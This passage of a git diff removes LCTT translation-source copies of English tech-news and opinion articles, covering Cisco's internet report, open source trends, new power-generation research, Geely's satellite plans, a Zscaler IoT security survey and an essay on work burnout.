company strategy analytics - 2. Social media, internet utilization, and interaction internally - 3. Telecommunication utilization within company (to avoid excess and unnecessary traveling for meetings, etc.) - 4. Automation technology utilization within the company - - - -You're also able to inquire within your company (among solution architects, for example) who we potentially should partner with if need be in order to achieve this transportation company's goals in these four areas." - -In these kinds of strategic partnerships, open organization principles—especially transparency, inclusivity, collaboration, and community—come alive. One person cannot do this kind of work alone. - -I've seen first-hand that in situations like these, purchasing technologies is only _half the problem._ Getting people to _buy into the system_ and _use it to full capacity_ are far bigger challenges. These challenges are cultural, not technological. Being a "communication superstar" means being great in both those areas—both the communication technology itself, as well as the culture and process expertise necesasry for actual utilization. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/3/communication-technology-worksheet - -作者:[Ron McFarland][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ron-mcfarland -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/build_structure_tech_program_code_construction.png?itok=nVsiLuag (Someone wearing a hardhat and carrying code ) -[2]: https://opensource.com/open-organization/resources/open-org-definition -[3]: https://opensource.com/open-organization/20/1/communication-technology-superstars -[4]: https://www.slideshare.net/RonMcFarland1/improving-processes-65115172?qid=b0a0fde3-62c6-4538-88c8-1bfd70485cee&v=&b=&from_search=5 -[5]: https://opensource.com/open-organization/17/1/escape-the-cave diff --git a/sources/talk/20200303 Key Takeaways from Cisco-s Annual Internet Report.md b/sources/talk/20200303 Key Takeaways from Cisco-s Annual Internet Report.md deleted file mode 100644 index d450597913..0000000000 --- a/sources/talk/20200303 Key Takeaways from Cisco-s Annual Internet Report.md +++ /dev/null @@ -1,78 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Key Takeaways from Cisco’s Annual Internet Report) -[#]: via: (https://www.networkworld.com/article/3529989/key-takeaways-from-cisco-s-annual-internet-report.html) -[#]: author: (Zeus Kerravala https://www.networkworld.com/author/Zeus-Kerravala/) - -Key Takeaways from Cisco’s Annual Internet Report -====== -Businesses need to be ready for the massive wave of devices and bandwidth that are coming in the next vide years -Natalya Burova / Getty Images - -By 2023, two-thirds of the world’s population will have Internet access—that’s 5.3 billion total Internet users, compared to 3.9 billion in 2018. The number of devices and connections will also skyrocket. There will be 3.6 networked devices per capita by 2023, whereas in 2018, there were 2.4 networked devices per capita. - -These findings come from Cisco’s _[Annual Internet Report (2018 – 2023) ][1]_(AIR) - previously known as Visual Network Index (VNI), which assesses the digital transformation across different business segments and their adoption of networking technologies, including fixed broadband, Wi-Fi, and mobile (3G, 4G, 5G).  - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][2] - -The report described an increased demand for new or enhanced applications that boost workforce productivity or improve customer experiences. In today’s mobile world, users expect their devices (and networks) to deliver on all fronts: quality, ease of use, and seamless connectivity.  - -[Cisco][3] - -The report can be useful as companies plan out their network strategies. One of the aspects of the VNI that Cisco carried over to AIR is an [online tool][4] that lets people slice and dice the information by country, device or other factors. They also included an [“Internet readiness” tool ][5]that explores how prepared different regions are for the coming wave of devices and need for bandwidth.  - -**More network automation is needed** - -To meet growing demand for enhanced apps, enterprises need automated network monitoring and optimization, andt that can be achieved with software-defined wide area networking (SD-WAN). Software-driven networks create more flexible infrastructures that can adapt to changing traffic requirements, which becomes necessary as more enterprises move to hybrid clouds, the report says. - -Policy-based automation and Intent-Based Networking (IBN) are just as important when it comes to building agile, portable, and scalable networks. IBN, as the name implies, captures business intent through analytics and machine learning. One trend Cisco observed in its report is how business WAN traffic flow patterns are becoming more software-based and hybrid in nature, creating a need for IBN solutions, the report says. - -[][6] - -**SD-WAN is core to network success** - -SD-WAN is important to the network edge, which brings computing, storage, and networking resources closer to users and devices. Cisco found many use cases driving the need for greater edge-computing capabilities. One of them is finding ways to control data from the billions of Internet of Things (IoT) endpoints being added to the network edge. - -Out of the 29.3 billion networked devices in use by 2023, about half will support various IoT applications, per Cisco’s report. As for machine-to-machine (M2M) communication, there will be 14.7 billion connections by 2023. Consumers will hold the biggest share (74%) of total devices and connections, with businesses claiming approximately 26%. However, the consumer share will grow at a slower rate than business. - -How will enterprises manage to secure all networked devices and data? Cisco recommends creating a security policy that strikes a balance between data protection and ease of use. In other words, networks will have to be intelligent enough to grant access to the right users without putting them through a difficult authentication process. - -**Network managers still struggle to lower operational costs** - -Network managers continue to struggle with rising operational costs, as the explosion of devices and data outpaces IT resources. Cisco found nearly 95% of network changes are still performed manually, resulting in operational costs that outweigh network costs. That’s where IT automation can help, enabled by SDN, intelligent network-edge enhancements, and unified domain controls. - -In addition to exploring business-specific networking needs, Cisco outlined some trends in consumer and small-to-medium business (SMB) markets. Here are the key takeaways: - - * **Next-generation applications**—built with artificial intelligence (AI) and machine learning—will create complex requirements and new business models. Mobile applications, specifically, will drive future consumer, SMB, and enterprise needs, with 299.1 billion mobile apps downloaded worldwide by 2023. - * **Mixed devices and connections** are enabling myriad M2M apps. Connected-home, video-surveillance, connected appliances, and tracking apps will make up 48% of M2M connections by 2023. Connected-car apps will be the fastest-growing category, with connected cities coming in second. - * **Accelerating broadband speeds** will affect traffic growth and use of high-bandwidth content and applications. Average broadband speeds will more than double globally from 45.9 Mbps (in 2018) to 110.4 Mbps (in 2023). Fiber-to-the-home (FTTH), high-speed DSL, and cable broadband adoption will contribute to the growth. - * **Wi-Fi will gain momentum** as devices and IoT connections increase. By 2023, the number of public Wi-Fi hotspots will grow to 628 million, up from 169 million in 2018. Wi-Fi 6 promises to boost speeds by up to 30%, compared to the current generation. More importantly, next-gen Wi-Fi will significantly improve real-time communications and high-definition video, impacting both consumer and business sectors. - - - -Join the Network World communities on [Facebook][7] and [LinkedIn][8] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3529989/key-takeaways-from-cisco-s-annual-internet-report.html - -作者:[Zeus Kerravala][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Zeus-Kerravala/ -[b]: https://github.com/lujun9972 -[1]: http://www.cisco.com/go/ciscoair -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: https://www.cisco.com/c/en/us/solutions/collateral/executive-perspectives/annual-internet-report/white-paper-c11-741490.html -[4]: https://www.cisco.com/c/en/us/solutions/executive-perspectives/annual-internet-report/air-highlights.html -[5]: https://www.cisco.com/c/en/us/solutions/service-provider/cloud-readiness-tool/index.html -[6]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[7]: https://www.facebook.com/NetworkWorld/ -[8]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200303 Most-used libraries, open source adoption, and more industry trends.md b/sources/talk/20200303 Most-used libraries, open source adoption, and more industry trends.md deleted file mode 100644 index 769f4f550e..0000000000 --- a/sources/talk/20200303 Most-used libraries, open source adoption, and more industry trends.md +++ /dev/null @@ -1,61 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Most-used libraries, open source adoption, and more industry trends) -[#]: via: (https://opensource.com/article/20/3/libraries-5G-more-industry-trends) -[#]: author: (Tim Hildred https://opensource.com/users/thildred) - -Most-used libraries, open source adoption, and more industry trends -====== -A weekly look at open source community and industry trends. -![Person standing in front of a giant computer screen with numbers, data][1] - -As part of my role as a senior product marketing manager at an enterprise software company with an open source development model, I publish a regular update about open source community, market, and industry trends for product marketers, managers, and other influencers. Here are five of my and their favorite articles from that update. - -## [Most-used libraries revealed – plus 10 things developers should be doing to keep their code secure][2] - -> “The report begins to give us an inventory of the most important shared software and potential vulnerabilities and is the first step to understand more about these projects so that we can create tools and standards that results in trust and transparency in software," explained Jim Zemlin, executive director at the Linux Foundation, in a statement. - -**The impact**: Importantly, there is also a great list of packages for backdoors here. - -## [Survey: Open source adoption, quality gains][3] - -> Overall, the survey finds there has been [a marked shift away from proprietary software][4]. Only 42% said that more than half of the software they use today is proprietary, down from 55% a year ago. Two years from now only 32% said they expect proprietary software to account for more than half their portfolio. On average, respondents said 36% of their organization’s software is open source, which in two years is expected to increase to 44% in two years. A total of 77% said they would increase usage of open source software over the next 12 months. - -**The impact**: There is a clear virtuous cycle of companies getting more comfortable with open source and more open source software being created. If there isn't already, there will be a rule 34 about open source software. - -## [5G must go cloud-native from edge to core][5] - -> A containerised core will be the heart of cloud-native 5G networks. Managing and scaling networking apps in containers using a modular microservices approach will help service providers to dynamically orchestrate and grow service capacity across a distributed architecture. - -**The impact**: When you're building something complicated and reliable, you really can't look past starting with open source software. Unless you want to be in a foot race against "a Kawasaki" (that's a motorbike, right?). - -## [High-performance object storage, Kubernetes, + why you can't containerize a storage appliance][6] - -> True multi-tenancy isn’t possible unless the storage system is extremely lightweight and able to be packaged with the application stack. If the storage system takes too many resources or contains too many APIs, it won’t be possible to pack many tenants on the same infrastructure. - -**The impact**: The title of this post is a challenge to someone much more skilled and knowledgable than I. - -_I hope you enjoyed this list and come back next week for more open source community, market, and industry trends._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/libraries-5G-more-industry-trends - -作者:[Tim Hildred][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/thildred -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/data_metrics_analytics_desktop_laptop.png?itok=9QXd7AUr (Person standing in front of a giant computer screen with numbers, data) -[2]: https://www.theregister.co.uk/2020/02/20/linux_foundation_report/ -[3]: https://devops.com/surevey-sees-open-source-adoption-quality-gains/ -[4]: https://devops.com/devops-deeper-dive-devops-accelerates-open-source-innovation-pace/ -[5]: https://www.5gradar.com/features/5g-must-go-cloud-native-from-edge-to-core -[6]: https://blog.min.io/high-performance-object-storage-with-kubernetes/ diff --git a/sources/talk/20200304 Seawater, humidity inspire new ways to generate power.md b/sources/talk/20200304 Seawater, humidity inspire new ways to generate power.md deleted file mode 100644 index 7e2dc5927f..0000000000 --- a/sources/talk/20200304 Seawater, humidity inspire new ways to generate power.md +++ /dev/null @@ -1,79 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Seawater, humidity inspire new ways to generate power) -[#]: via: (https://www.networkworld.com/article/3529893/seawater-humidity-inspire-new-ways-to-generate-power.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -Seawater, humidity inspire new ways to generate power -====== -Researchers around the globe are working on new ways to generate huge amounts of power that will be needed for the shift to a data-driven society. -Getty Imags - -The possiblity of a future power-availability crunch – spurred in part by a global increase in data usage – is driving researchers to get creative with a slew of new and modified ways to generate and store energy. - -Ongoing projects include the use of seawater for batteries; grabbing ambient humidity; massive water storage systems for hydropower; and solar panels that work at night. Here are some details: - -### Batteries based on seawater - -Seawater will provide "super-batteries," says the University of Southern Denmark. Researchers there have been studying how to use sodium, which is abundant in seawater, as an alternative to lithium in batteries. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][1] - -"Sodium is a very readily available resource," the school says in a [press release][2], and it can be easily extracted from seawater. Lithium, on the other hand, is a limited resource that's mined only in a few places in the world, says research leader Dorthe Bomholdt Ravnsbæk of the department of physics, chemistry and pharmacy at the university. Batteries based on seawater would also alleviate the need for cobalt, which is used in lithium cells. The team in Denmark (working with Massachusetts Institute of Technology) believes it has come up with a new electrode material, based on manganese, that will make the seawater battery ultimately viable. - -### Using ambient moisture to generate power - -Humidity captured with bio-electronics could end up being a viable power source for sensors, say some scientists. - -"Harvesting energy from the environment offers the promise of clean power for self-sustained systems," notes University of Massachusetts researchers [in an article published in Nature][3]. However, known technologies often have restrictive environmental requirements – solar panels that must be mounted outside, for example – that limit their energy-producing potential. - -Moisture harvesting with thin-film, protein nanowires doesn't have restrictive environmental requirements. Sustained voltages of about half a volt can be obtained from moisture present in normal, ambient air. "Connecting several devices linearly scales up the voltage and current to power electronics," the Amherst group claims. "Our results demonstrate the feasibility of a continuous energy-harvesting strategy that is less restricted by location or environmental conditions than other sustainable approaches." - -[][4] - -### Seasonally pumped hydropower storage  - -On a larger scale, inland water storage could solve renewable power issues, say scientists at the International Institute for Applied Systems Analysis. - -One big problem collecting power from the environment, as opposed to using fossil fuels, is where to store the on-the-fly electricity being generated. The Austrian organization believes that hydropower systems should be used to contain renewable energy. It's cheap, for starters. In addition, seasonal pumped hydropower storage (SPHS) is better than wind or solar, the group claims, because it not only generates the power in real time as it’s needed, but also isn't affected by variations— a windy day isn't required, for example. - -SPHS operates by pumping water into dammed, river-adjacent reservoirs when water flow is high but power demand is low. Water is then allowed to flow out of the reservoir, through turbines—similar to hydroelectric—when energy demand increases. Electricity is thus created. The group, in a [press release][5] related to a study just released, says the technique is highly economical, even including required land purchases, excavation and tunneling. - -### Nighttime, anti-solar cells - -Contrary to popular belief, photovoltaic solar panels don't actually need full sun to function. Cloud cover allows some to work just fine, just not as well. Nighttime photovoltaic, however, is something more radical: - -The earth should be used as a heat source, and the night sky a heat sink, say Jeremy Munday and Tristan Deppe of the department of electrical and computer engineering at University of California, Davis. They shared their idea for nighttime photovoltaic cells in an [abstract of a paper][6] published by American Chemical Society's ACS Photonics. - -What they are suggesting is using thermoradiative photovoltaics, where deep space radiative cooling ([which I’ve written about before][7]) is combined with photovoltaics. Current is created as infrared light – or heat, in other words – is radiated into extremely cold, deep space. - -"Similar to the way a normal solar cell works, but in reverse," Munday says of their anti-solar panel concept, quoted in a [UC Davis news article][8].  - -Join the Network World communities on [Facebook][9] and [LinkedIn][10] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3529893/seawater-humidity-inspire-new-ways-to-generate-power.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/newsletters/signup.html -[2]: https://www.sdu.dk/en/nyheder/Forskningsnyheder/skal_fremtidens_superbatterier_laves_af_havvand -[3]: https://www.nature.com/articles/s41586-020-2010-9 -[4]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[5]: https://iiasa.ac.at/web/home/about/news/200219-seasonal-pumped-storage.html -[6]: https://pubs.acs.org/toc/apchd5/7/1 -[7]: https://www.networkworld.com/article/3222850/space-radiated-cooling-cuts-power-use-21.html -[8]: https://www.ucdavis.edu/news/anti-solar-cells-photovoltaic-cell-works-night -[9]: https://www.facebook.com/NetworkWorld/ -[10]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200305 Chinese auto giant Geely plans a private satellite network to support autonomous vehicles.md b/sources/talk/20200305 Chinese auto giant Geely plans a private satellite network to support autonomous vehicles.md deleted file mode 100644 index 8bf990573e..0000000000 --- a/sources/talk/20200305 Chinese auto giant Geely plans a private satellite network to support autonomous vehicles.md +++ /dev/null @@ -1,61 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Chinese auto giant Geely plans a private satellite network to support autonomous vehicles) -[#]: via: (https://www.networkworld.com/article/3530336/chinese-auto-giant-geely-plans-a-private-satellite-network-to-support-autonomous-vehicles.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -Chinese auto giant Geely plans a private satellite network to support autonomous vehicles -====== -Geely is developing a satellite network to provide high-bandwidth wireless needed by on-board applications in self-driving vehicles. -Olivier Le Moal / Getty Images - -What does a large automaker that’s morphing into a mobile-technology company and heavily investing in autonomous vehicles need to add to its ecosystem? Probably connectivity, and that’s likely why Chinese car giant Geely says it will be building its own satellite data network. - -A need for “highly accurate, autonomous driving solutions,” is part of what’s driving the strategy, the company says in a [press release][1]. Geely – the largest car maker in China and whose assets include Volvo and a stake in Lotus – has begun building a test facility in Taizhou City where it will develop satellite models, the company says. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][2] - -“The creation of a truly smart, three-dimensional mobility ecosystem,” as the company describes its Geespace project, will include precise navigation, cloud computing and high-speed Internet functions. Geely is investing $326 million in the project [according to Reuters][3], citing a statement from the company. - -Over-the-air updating of vehicle software is a principal reason data networks will become prevalent in automobile technology. Historically, car companies haven’t worried much about the speedy updating of end-user’s systems, in part because they’ve liked getting customers back into the dealership to upsell service options and pitch new cars. A leisurely software patch while the customer hangs around drinking warm coffee and watching daytime soaps suits that purpose. However, autonomous cars are a different story: The safety of self-driving cars can’t tolerate software vulnerabilities. - -Control over vehicle positioning also comes into play. Knowing where the car is and where obstacles are is more important than in traditional vehicles. Lane-change and accident avoidance, for example, are autonomous-vehicle features that require high levels of accuracy. - -“The Geespace low-orbit satellite network will offer much higher centimeter-accurate precision,” Geely says, comparing its proposed constellation with the U.S. government-owned Global Positioning System. - -Data processing, artificial intelligence and infotainment onboard the vehicles all need fat networks, too. Former Intel CEO Brian Krzanich [said at a talk I attended a few years ago][4] that he thought cars would soon create 4,000 GB of data per hour of driving because of the number of sensors, such as cameras, that they’ll be equipped with. - -[][5] - -The Geely private satellite network is the first of its kind for an industrial use and joins [a trend in private wireless networking][6]. Private, terrestrial 5G networks and private LTE networks allow companies to control their own data and uptime, rather than relying on service providers. Mercedes-Benz is reportedly working on a private 5G network for privacy and security. - -“As vehicles become more connected and integrated into the Internet of Things ecosystem, the demand for data has grown exponentially,” Geely says. - -Geely will begin launching the Geespace satellites by the end of 2020. - -Join the Network World communities on [Facebook][7] and [LinkedIn][8] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3530336/chinese-auto-giant-geely-plans-a-private-satellite-network-to-support-autonomous-vehicles.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: http://zgh.com/media-center/news/2020-03-03-1/?lang=en -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: https://www.reuters.com/article/geely-china-satellite-autonomous/chinas-geely-invests-326-mln-to-build-satellites-for-autonomous-cars-idUSL4N2AV45H -[4]: https://www.networkworld.com/article/3147892/one-autonomous-car-will-use-4000-gb-of-dataday.html -[5]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[6]: https://www.networkworld.com/article/3319176/private-5g-networks-are-coming.html -[7]: https://www.facebook.com/NetworkWorld/ -[8]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200305 Report- Most IoT transactions are not secure.md b/sources/talk/20200305 Report- Most IoT transactions are not secure.md deleted file mode 100644 index 96a2add2d7..0000000000 --- a/sources/talk/20200305 Report- Most IoT transactions are not secure.md +++ /dev/null @@ -1,61 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Report: Most IoT transactions are not secure) -[#]: via: (https://www.networkworld.com/article/3530476/report-most-iot-transactions-are-not-secure.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -Report: Most IoT transactions are not secure -====== -Data gathered by security provider Zscaler shows that not only are most internet-of-things transactions unsecured, they are also unauthorized as IoT creeps in as shadow-IT devices. -Iot - -The majority of [Internet of Things (IoT)][1] transactions don’t use even basic security, and there is a great deal of unauthorized IoT taking place inside the perimeter of enterprise firewalls thanks to shadow IT, a new study finds. - -Security vendor Zscaler analyzed nearly 500 million IoT transactions from more than 2,000 organizations over a two-week period. [The survey][2] found 553 different IoT devices from more than 200 different manufacturers, many of which had their security turned off. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][3] - -The study was done on Zscaler’s own Internet Access security service. It found the rate of IoT growth to be explosive: When it first started monitoring IoT traffic in May 2019, IoT traffic generated by its enterprise customer base was 56 million IoT transactions per month. By February 2020, that number had soared to 33 million transactions _per day_, or one billion IoT transactions per month, a 1,500% increase. - -Zscaler is a bit generous in what it defines as enterprise IoT devices, from devices such as data-collection terminals, digital signage media players, industrial control devices, medical devices, to decidedly non-business devices like digital home assistants, TV set-top boxes, IP cameras, smart home devices, smart TVs, smart watches and even automotive multimedia systems. - -“What this tells us is that employees inside the office might be checking their nanny cam over the corporate network. Or using their Apple Watch to look at email. Or working from home, connected to the enterprise network, and periodically checking the home security system or accessing media devices,” the company said in its report. - -Which is typical, to be honest, and let (s)he who is without sin cast the first stone in that regard. What’s troubling is that roughly 83% of IoT-based transactions are happening over plaintext channels, while only 17% are using [SSL][4]. The use of plaintext is risky, opening traffic to packet sniffing, eavesdropping, man-in-the-middle attacks and other exploits. - -And there are a lot of exploits. Zscaler said it detects about 14,000 IoT-based malware exploits per month, a seven-fold increase over the previous year. - -“Folks can keep their smart watches, smart closets, and whatever else they think is making them smart. Banning devices is not going to be the answer here. The answer is changing up the narrative on how we think about IoT devices from a security and risk standpoint, and what expectations we put on manufacturers to increase the security posture of these devices,” wrote Deepen Desai, Zscaler’s vice president of security research in a [blog post][5]. - -Desai said the solution is “taking a [zero-trust][6] mentality.” It may be a buzzword but, “it’s about security people not trusting any person or device to touch the network—that is, until you know who the user is, what the device is, and whether that user and device are allowed to access the applications they’re trying to reach.” - -Naturally Zscaler sells such a solution, but he makes a valid point. This is an ages-old problem I have seen time and again; a hot new technology comes along, everyone rushes to embrace it, then they think about securing it later. IoT is no different. - -Whatever your device, at least go into the settings and turn on SSL. - -Join the Network World communities on [Facebook][7] and [LinkedIn][8] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3530476/report-most-iot-transactions-are-not-secure.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3207535/what-is-iot-the-internet-of-things-explained.html -[2]: https://info.zscaler.com/resources-industry-iot-in-the-enterprise -[3]: https://www.networkworld.com/newsletters/signup.html -[4]: https://www.networkworld.com/article/2303073/lan-wan-what-is-transport-layer-security-protocol.html -[5]: https://www.zscaler.com/blogs/corporate/shining-light-shadow-iot-protect-your-organization -[6]: https://www.networkworld.com/article/3487720/the-vpn-is-dying-long-live-zero-trust.html -[7]: https://www.facebook.com/NetworkWorld/ -[8]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200306 How I learned about burnout the hard way.md b/sources/talk/20200306 How I learned about burnout the hard way.md deleted file mode 100644 index ce9af6fb52..0000000000 --- a/sources/talk/20200306 How I learned about burnout the hard way.md +++ /dev/null @@ -1,111 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I learned about burnout the hard way) -[#]: via: (https://opensource.com/article/20/3/burnout) -[#]: author: (Jason Hibbets https://opensource.com/users/jhibbets) - -How I learned about burnout the hard way -====== -Burnout can happen to anyone. Here are the 3 things I wish I knew before -I burned out. -![Light bulb][1] - -In early 2017, I was mentally in a bad spot. It was the perfect storm of stress, the kind that no one asks for, but you deal with the hand you're dealt. Work was piling up to a point where I couldn't process all the things that were expected of me. I was training for spring half-marathons, which should have been stress relief, but I was putting too much pressure on myself to perform at a high level. And then on top of the everyday family obligations, a surgery in our household turned us into a one-car family and seriously added to the mounting pressure on me to provide and take care of the family. - -Then I broke. - -It wasn't one thing. It was the culmination of things. And it hit me from the blind side, unexpected. I never thought I would be a victim of burnout. I was aware of it and thoughtful about the community I was managing. But "not me," I thought to myself, "I've got this under control." I remember thinking that something was wrong; something was off. But I couldn't quite put my finger on the source. - -I distinctly remember the day where I cried at work, crumbling under the pressure that I was putting on myself. I consider myself a high performer in the office environment. I push myself to exceed the goals that my team co-creates because I want that success. I want the feeling that comes with it. But this experience was different. This wasn't a healthy win for my team or me. I felt like I let everyone down, including myself. - -I was attending South by Southwest in Austin, Texas, where I was [presenting my first Ignite Talk][2] on applying open source principles to government—a talk that was well received by the audience. I remember practicing, and practicing, and practicing more the day before and the morning of my talk. I got that high that comes after delivering a great talk. I had a book signing at the City of Raleigh's Economic Development booth during the event, which was another emotional boost. Life was good. Upon reflection, that's when I started noticing signs of my burnout. - -I didn't have much of an appetite. I was tired all the time. I was sleeping in, and not because of jet lag. I was exercising but wasn't getting the endorphins I was used to. And I wasn't motivated to do the work that I normally love to do. I was very blah and meh about getting work done or hanging out with people I love. These are all signs of depression and burnout. - -After the trip, I scheduled my annual physical and talked to my doctor about my situation, who recommended I see a psychologist. I sat on the couch and talked things out. I was diagnosed with severe anxiety, which was enough for me to know that I didn't want to know what true depression felt like. - -I learned my lesson the hard way. I'd like to share my experience so that you can recognize the signs and avoid going down this path. And before we move on, I must say that it's perfectly fine to ask for help. Ask a trusted co-worker or friend for help or guidance. We're human, and we need to help each other through the ups and the downs. - -### Three things to know about burnout - -Work burnout is a form of depression where you are not motivated to do the things that are expected of you at your job. It's not the occasional slacking off or spring fever because the weather is nice. It's a buildup of emotional stress where you don't want to do what is asked of you at work. There are numerous factors that can lead to burnout. - -#### Know the signs of burnout - -Lesson number one about burnout is to know the signs. I mentioned some of the things I was experiencing, but there are many others. I remember one thing that was extremely abnormal for me (because I'm so social) is that I started to separate myself from my usual team activities and people. - - * Hey Jason, want to grab lunch with us? Nope, I'm too busy. - * Hey Jason, Matt's in town, want to join us for happy hour? No. I've got work to do. - - - -This is totally unlike me. I would normally have said yes to both those opportunities. According to the [Mayo Clinic][3], here are a few things to ask yourself if you think you are experiencing burnout: - - * Do you drag yourself to work? - * Do you have trouble getting started with work? - * Are you cynical or critical at work? - * Have you become irritable or impatient with co-workers or customers? - * Do you lack the energy to be productive? - * Do you find it hard to concentrate? - * Do you lack satisfaction from your achievements? - * Do you feel disillusioned about your work? - * Are you using food, drugs, or alcohol to feel better or to simply not feel? - * Have your sleep habits changed? - * Are you troubled by unexplained headaches, stomach or bowel problems, or other physical complaints? - - - -You can check your own burnout risk at [BurnoutIndex.org][4], an anonymous online questionnaire created in response to the [high level of burnout][5] in the tech industry. - -#### Prevent burnout - -The second lesson is to identify ways [to prevent burnout][6]. First, take time away from your job and plan time to unplug and unwind. This means planning vacations, staycations, or other time away from work. It's sometimes hard to unplug like this with the pressures and obligations we put on ourselves. - -There are three different levels of paid time off (PTO): - - 1. **Best way to unplug:** I'm totally cut-off, not logging in, not checking email. - 2. **Decent way to unplug:** I'm kind of checking in, but not as responsive as normal. - 3. **Meh way to unplug:** I'm available if you need me, I'll monitor email, but I'm away from normal office life. - - - -Your situation will dictate which of these levels of time off will work for you. In my experience, you need at least two total check-outs a year. I typically have a blend of all three throughout the year, but since 2017, I have taken at least three week-long vacations each year to completely escape. It's working so far! - -#### Manage stress - -The third and final lesson is to manage stress effectively. My first go-to for stress management is exercise. I'm addicted to it. I work out pretty much every single day. And I like to mix it up: Cardio, weight lifting, swimming, running, cycling, surfing, and high-intensity interval training (HIIT) are staples in my exercise routine. I used to focus solely on running four to six half marathons a year, but I recently switched to triathlons. The multidisciplinary aspect of the activity has brought more joy and different challenges to my life. - -Another way to reduce stress is to manage your time better. Time is our most precious resource. You've got to choose how you want to spend your time. Family, work, self, social? It's up to you. Find ways to work more efficiently, more effectively, and make sure that you put yourself first. It may sound selfish, but as I've learned from the airplane preflight safety videos, "you need to put your mask on first before helping others." - -### Conclusion - -Burnout can lead to fatigue, excessive stress, sadness, anger, irritability, insomnia, alcohol or substance misuse, heart disease, and other medical conditions—all things that are not good for humans or for your team at work. I hope you can use these tips to put yourself first, reduce stress, and prevent burnout. - -* * * - -_Jason Hibbets will present "[10 things I wish I knew before experiencing burnout][7]" at [SCaLE 18x][8], March 5–8, 2020, in Pasadena, Calif. This article is a preview for the talk and a way to share a bit of his experience._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/burnout - -作者:[Jason Hibbets][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 